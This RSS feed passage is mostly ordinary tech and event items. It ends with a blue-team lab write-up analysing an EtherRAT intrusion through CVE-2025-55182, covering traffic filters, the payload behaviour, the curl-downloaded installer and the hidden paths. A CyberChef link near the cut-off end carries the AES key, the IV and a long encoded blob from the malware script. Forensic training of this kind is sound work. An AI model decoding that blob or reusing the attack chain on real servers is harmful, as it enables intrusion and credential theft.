Tim has made over 40 arcade machines and now runs two arcades. The talk will include some of Tim’s machines that were particularly inspired by the history.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/127-a-short-history-of-arcades-and-arcade-machines]]></content:encoded>
</item>
<item>
<title><![CDATA[A short history of arcades and arcade machines (emf2026)]]></title>
<description><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside a...]]></description>
<link>https://tsecurity.de/de/3678571/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678571/it-security-video/a-short-history-of-arcades-and-arcade-machines-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 00:32:39 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Arcade machines have a rich history, at times at the forefront of technology, and often the most bizarre machines. Machines that delivered electric shocks (supposedly therapeutic) and working automata models of executions or hen pecked husbands (titled ‘Is Marriage worth it’). The first seaside arcade opened in Blackpool in 1894, under the newly built tower. The machines were all clockwork automata scenes, with an attendant constantly rewinding them. Arcades became widespread after the craze for Edison’s Kinetoscope, the predecessor of  ‘What the Butler Saw’ machines. Kinetoscopes were a sensation – the first time anyone had seen moving images of any sort, so ‘Kinetoscope parlours’ sprang up in every city centre. Once cinemas got established the craze faded and the parlours diversified –  adding fortune tellers, ball runs, shooting games and of course one armed bandits. The arrival of computer games in the 1980s shook everything up. At first very popular in arcades but soon eclipsed by cheaper to play home computer games. Most city centre arcades have since closed, though many seaside arcades survive with ‘redemption’ machines. These spit out tickets when you win. Before leaving you take all your tickets to the desk to ‘redeem’ a prize.   
The talk will be illustrated by photos and videos of the old machines and also some of Tim’s own arcade machines influenced by their history.  

Tim has made over 40 arcade machines and now runs two arcades. The talk will include some of Tim’s machines that were particularly inspired by the history.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/127-a-short-history-of-arcades-and-arcade-machines]]></content:encoded>
</item>
<item>
<title><![CDATA[Shapes and Smoke Rings (emf2026)]]></title>
<description><![CDATA[This is shape, but not as you've seen it before! Join Zoe in this engaging, family talk to explore the curious world of shape. We'll be dipping our toes into the mind-bending world of topology (with ideas for activities you can try at home), exploring how geometry changes when you're not on a fla...]]></description>
<link>https://tsecurity.de/de/3678340/it-security-video/shapes-and-smoke-rings-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678340/it-security-video/shapes-and-smoke-rings-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:48:03 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[This is shape, but not as you've seen it before! Join Zoe in this engaging, family talk to explore the curious world of shape. We'll be dipping our toes into the mind-bending world of topology (with ideas for activities you can try at home), exploring how geometry changes when you're not on a flat surface (with the audience taking part in a fun trick), and learn the maths and science behind an exciting smoke rings demonstration. 
This exciting talk is suitable for anyone age 8+.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/67-shapes-and-smoke-rings]]></content:encoded>
</item>
<item>
<title><![CDATA[The 'Death of the Stick Shift' is Almost Here for Americans]]></title>
<description><![CDATA[Last year just 0.6% of new vehicles made for U.S. customers were stick shifts, reports the Washington Post, citing preliminary government data. 

"That's a precipitous drop from the 34.6 percent of vehicles with manual transmissions produced in 1980."


[T]he stick shift's popularity hit multiple...]]></description>
<link>https://tsecurity.de/de/3678159/it-security-nachrichten/the-death-of-the-stick-shift-is-almost-here-for-americans/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678159/it-security-nachrichten/the-death-of-the-stick-shift-is-almost-here-for-americans/</guid>
<pubDate>Sat, 18 Jul 2026 16:52:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Last year just 0.6% of new vehicles made for U.S. customers were stick shifts, reports the Washington Post, citing preliminary government data. 

"That's a precipitous drop from the 34.6 percent of vehicles with manual transmissions produced in 1980."


[T]he stick shift's popularity hit multiple new lows in recent years, with no signs of a turnaround, thanks to new technologies and a rapidly changing marketplace. Buyers and automakers increasingly have turned to the sophisticated automatic drivetrains that now smoothly swap gears in fractions of a second and with better fuel efficiency. The average new vehicle today comes with seven gears, thanks to computers, twice as many as in 1980 and more gears than any ordinary driver would want to shift through using a manual gearbox. At the same time, sporty cars — the kind that buyers might demand a stick shift to drive — have fallen out of favor, replaced by interest in hulking SUVs, which are almost always automatics. The stick shift's demise has been hastened, too, by the rise of electric vehicles and increasingly autonomous vehicles. Neither have any need for a manual transmission... 


Europe has seen a less dramatic decline in stick shifts, with manual transmissions dropping from 91 percent of car registrations in 2001 to 29 percent in 2024 among Europe's largest auto markets, according to industry analyst JATO Dynamics... Subaru made its name with manual cars. But the Japanese automaker stopped offering a manual Crosstrek with the 2023 model year, having already dropped that transmission from its Legacy, Outback and Forester models. Other automakers have followed the same path. Volkswagen announced that it plans this year to ditch its last U.S. stick-shift model, the Jetta GLI. 

Even Toyota, Honda, and BMW have all reduced the number of cars for the U.S. market with a manual transmission, the article points out — leaving stick shift-loving Americans with a total of about 24 new-vehicle models to choose from. The articles adds that only 60% of Americans know how to drive a manual transmission (according to a survey from auto parts retailer AmericanMuscle): 83% for baby boomers but 39% for Gen Z. "Respondents were about evenly split on whether knowing how to drive a manual is an important life skill." 

But Ford CEO Jim Farley said earlier this year he has no plans to make the Mustang automatic-only.
"Out of our cold, dead hands will we not have a manual Mustang." Farley said.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=The+'Death+of+the+Stick+Shift'+is+Almost+Here+for+Americans%3A+https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F18%2F0239231%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F26%2F07%2F18%2F0239231%2Fthe-death-of-the-stick-shift-is-almost-here-for-americans%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://tech.slashdot.org/story/26/07/18/0239231/the-death-of-the-stick-shift-is-almost-here-for-americans?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Marvel's X-Men movie: cast rumors and everything we know so far about MCU's new mutant-starring comic book film]]></title>
<description><![CDATA[Here's everything we know so far about the Marvel Cinematic Universe's first X-Men movie.]]></description>
<link>https://tsecurity.de/de/3678011/it-nachrichten/marvels-x-men-movie-cast-rumors-and-everything-we-know-so-far-about-mcus-new-mutant-starring-comic-book-film/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678011/it-nachrichten/marvels-x-men-movie-cast-rumors-and-everything-we-know-so-far-about-mcus-new-mutant-starring-comic-book-film/</guid>
<pubDate>Sat, 18 Jul 2026 15:02:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Here's everything we know so far about the Marvel Cinematic Universe's first X-Men movie.]]></content:encoded>
</item>
<item>
<title><![CDATA[Sony’s flagship RGB LED TV is incredible]]></title>
<description><![CDATA[The Sony Bravia 9 II is the most anticipated new TV in years. It's an amazing RGB LED TV. I watched Dungeons & Dragons: Honor Among Thieves on the new Bravia with my son, who has been getting into the roleplaying game but had never seen the movie. The landscapes of Faerûn looked natural and […]]]></description>
<link>https://tsecurity.de/de/3677982/it-nachrichten/sonys-flagship-rgb-led-tv-is-incredible/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677982/it-nachrichten/sonys-flagship-rgb-led-tv-is-incredible/</guid>
<pubDate>Sat, 18 Jul 2026 14:32:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Sony Bravia 9 II is the most anticipated new TV in years. It's an amazing RGB LED TV. I watched Dungeons &amp; Dragons: Honor Among Thieves on the new Bravia with my son, who has been getting into the roleplaying game but had never seen the movie. The landscapes of Faerûn looked natural and […]]]></content:encoded>
</item>
<item>
<title><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]]]></title>
<description><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]CallMeOnTheChain - EtherRAT | Blue team challenge.You can read this writeup on my GitBook: LinkScenarioSomething is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an un...]]></description>
<link>https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8sxyPDbCie18N5eQqwcpAg.png"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/callmeonthechain-etherrat/">CallMeOnTheChain - EtherRAT | Blue team challenge.</a></p><blockquote><em>You can read this writeup on my GitBook: </em><a href="https://prankster.gitbook.io/prankster/cyberdefenders/network-forensics/callmeonthechain-etherrat"><em>Link</em></a></blockquote><h4>Scenario</h4><p>Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorized external source. The trail led back to a single server: their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.</p><h4>Initial Access</h4><blockquote><strong><em>Q1: </em></strong><em>What is the IP address of the attacker that exploited the web application?</em></blockquote><p>By reading the scenario above carefully, we have a public-facing web application asset that got attacked, so let’s start investigation.<br>We are provided here with a pcap file with ssl keys log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*djEn5vVkPPWI4-Zuw4vMYA.png"><figcaption>Edit →Preferences →Protocols → TLS → (Pre)-Master-Secret log filename</figcaption></figure><p>At first, filtered for http traffic, and took a look at conversations, found the IP for the web-server (<em>arguably</em><em>172.31.44.238 is the web-server IP</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prxEHHiXDwldiYkmurjf_w.png"></figure><p>Narrowing down a little with this query: http.request.method==POST and ip.dst==172.31.44.238 for less packets and better inspection (~300 packets).<br>After following someTLSstreams, found this communication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uxT_Pq2pKhmgjsoKDcYrg.png"></figure><p>a weird POST requests generated by a script maybe (User-Agent: python-requests/2.31.0\r\n) and have the same length (339).<br>so, i guess this needs further investigation by adding the source IP address http.request.method==POST and ip.dst==172.31.44.238 and ip.src==63.180.69.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1p1lXAC2hWNAczytNPF8g.png"></figure><p>Actually i couldn’t stop myself from inspecting the fisrtPOST request with a different length, so i followed the TLSstream for this hovered packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJnQQUYvDoz7_mQ-Zg2M2Q.png"></figure><p>so it’s a payload that abuses a JavaScript weakness (prototype pollution + constructor escape) to escape normal restrictions, then executes the system command id on the server. After that, it tries to sneak the result back to the attacker by embedding it inside an error response.</p><p>Also, By investigating the second packets with the length &gt; 339:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2j6_wD_L1EvQp6b0XhYa6w.png"></figure><p>we can find this payload also:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfNX_Ty_MI28Y45FDTFqOA.png"></figure><p>So it makes sense now!!</p><blockquote><em>63.180.69.24</em></blockquote><blockquote><strong><em>Q2: </em></strong><em>What is the CVE identifier for the vulnerability exploited in this attack?</em></blockquote><p>from the Lab Name, we can search and get the CVE easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*6UGH92G4CkeLg6z6MlhQww.png"></figure><p>Or by searching for the CVE from the payloads we’ve already identified in the previous question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvXhGt3xXzwpJyZVXluBpA.png"></figure><blockquote>CVE-2025–55182</blockquote><h4>Execution</h4><blockquote><strong><em>Q3: </em></strong><em>What is the filename of the script downloaded by the exploit payload to install the malware?</em></blockquote><p>based on paloalto report (<a href="https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/"><strong><em>link</em></strong></a>) we did identified this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta7zqMAKL97Oyq5Cjt0SKg.png"></figure><p>so, we can filter for the user-agent curl , and GET requests:<br>http.request.method==GET and http.user_agent contains "curl"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*gFVyhvGIYpiXRfe7yp2JYA.png"></figure><blockquote>s.sh</blockquote><blockquote><strong><em>Q4: </em></strong><em>What is the filename of the decrypted implant that serves as the main RAT?</em></blockquote><p>By investigating the bash script file, we can get the correct answer directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Jwve-sbRgl1XCug_zh-5iw.png"></figure><blockquote>.7vfgycfd01.js</blockquote><h4>Defense Evasion</h4><blockquote><strong><em>Q5: </em></strong><em>What is the hidden directory path used by the malware to store its components?</em></blockquote><p>Investigating the same Bash script file, it’s obvious at the beginning of the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*NtVANhTXHIgdM4Jh8j0riw.png"></figure><blockquote><em>~/.local/share/.05bf0e9b</em></blockquote><blockquote><strong><em>Q6: </em></strong><em>The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?</em></blockquote><p>since we have the full script, the script contains a Base64 encoded Blob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxS9zbDvFI80nTghhlFtnw.png"></figure><p>That is AES Encrypted, with a clear Key and IV as you can see,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxI3Ys9qw19KJ7GdMcx89w.png"></figure><p>So, Let’s decrypt it properly on cyberchef (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbkdCZjdKdU5SeXBaeGJwdzU0VUxDNXdWYTBnYklsWVFFYlhyRWdKU21PaU1ndFRqRmlZQXpxaU9SWHUvSlVTS3pzVityVkVYZDRubDlUUWZydElBUXpqTkhvWXd1Q2hEaCtmNjNSNzRZZjZIaVZINS9ZTEFFenI3R1NPRFdNVmIzUElUTHJxSDdKc3JYWTlmNVNDTkRza3NUb0hDcWZiV3lCYzI3d1BQY3pTdC9ESzJJNTB4bk13djR3U084T0VwWUM2Nkw1OEUwN3ZYS3VKSGRpV2VVb3YwS0l1YWJOVXhPcm5rVXRyTW9WN1hLUi9mYzIzdEk0em0yRDEzbWMrVmNOdDRIQmh5ZFFmZno2Z1VMYlY5Qk1HTDhFTkttOXQ2bkcweW8yeHh3ZWF3OGhkUGdhb084ZnBIWW55QzYyTnpGRmtVUXRIY3o3THdBc1g5TjVRZlhsQkpvZ3c4dnppeWhxVWZzcWxHak81Z0JRWWNJOVR0WkhGaWF6VndnYnQrdU5UYzI1Y3dnZWROc1hsWU9zQlNRNHBkRmdTV2d3di84OW9WUyt5QXRTRlJVS0NaMkM1WGdyQUlQNFJWdHNGZFZ2aUZGRG9Ia3RmVkN1b2kzc2xuU25nSEMvejkxWGJ0RnNPMlc4bDZFRlpLSjVKQWJBMWRsUENaVC9RckNucGJWVC9tZlNYTU1aZCt3bnFVd1dzc1ZpMTExblc5bnlsdHRyS2VQT1hwWDdkYjNEWWNhSkFybDNrZ3NGK0ZqaWlQVEh6VXYzdjJjeGRUYXlrbURBVHRQckpqMTBsZGgvandNTUh1R1J5MVBTZURXRGI5QkhlL05vaFBKOU9KZ2tDUGxPVDZna00xUlFZT00vbDZVYnNiMXBzQm9XR0dsdGF3Lzd3VzVHZHl6SXFRNmVJdmhtWjk0bjBHZUdnem5BYUQ4SHp0Uy9aNkpaOFhZODlUTXVqSStNbm82VTl0SHFrMTBKTDZMRUZ3dStzQTdrZGdOUGFDMkw0Q1Ftdk4zNTdsMkhsVU9zeklMY2VOR2NscndvNVU0cGdJdFMrQ3NtVnRDaW1ubHppS3U4VDlnMWwyVW9qYktnay9NZWExSW5nZlVGRVo4cnE0NjFSeHpUS25tLzB4aFZ1dys1ZzlZNGNMbDhSTGd6MEk1eWI3RmFqQURUV05XV2I0ckJxdTBmUTZmbTVaTHI1MEx6Y0w2NmowWDJEaEhkZWVKM1JyZnIwdTNlWm1OS3hEWTM1clc5TWFVMGpQT0R3UDQvQWU1YUM1UlkzbDVOTzNzVVFmdU5MQWNMb0p2RktyOE83dGZYM0RLbjdKazVQdG1NemhUeGE3KzlEV3Z2eDJOSWpLTXJHZFRvaEoyVkNmbDNETnA5Y2JpRmNQMHl2WFRSZjVmVTI2VmR6Ri8wcW5YbFZ6S01QQ0lQN2lnYVZQcnhUaUVWVTdHMnJIaTFkWmp0WUN6eC8yc3h5a2FNSmx3Vmdab3IwbVE0UCtmYlBvNElwdEQvVTRiSEovdUVoemJkc0c5THpLSmhVRnphblAxRFpOdjNBOTIzZG9mRFU5ditTbXNKMWdueDlDOFVLL25tSEhSVS9WS08xYzd3Q2w2elR4Wm9pT1BzbExZSHd6VFQvMkl1cXl6WGh2d0gxWDd2MlM2ZmZXbDNNcmc0U25vdTVZUmpIY3E0TFQyV3NaZ0F4SWpmMzVkUGlVZ3ltcCtLdDFoZG8zWSs4N3JUOUl1QVF1TDdwb05tUEVYV0xpd3VYblA2aU41MEYwcm1nNzI5RVVmNExVVExoRkpqR2M0b3N5U0NGNDUvRmZrNkFZNTFOUE1HUnI5WnY0S0szd0ovKy9rMndrNE5jUlI4c1lWVjJmeVh3NitiMlVhemdoWXJRODhhdFB3cHRWUWdLbC9mSHBCR1dSRlE0L281SStseUVaVjJYd1dHcGNLd0JxMnRtWmRDTXFqWHhBdEJTZndWbjdVVERwT0F3RmtwUVgzY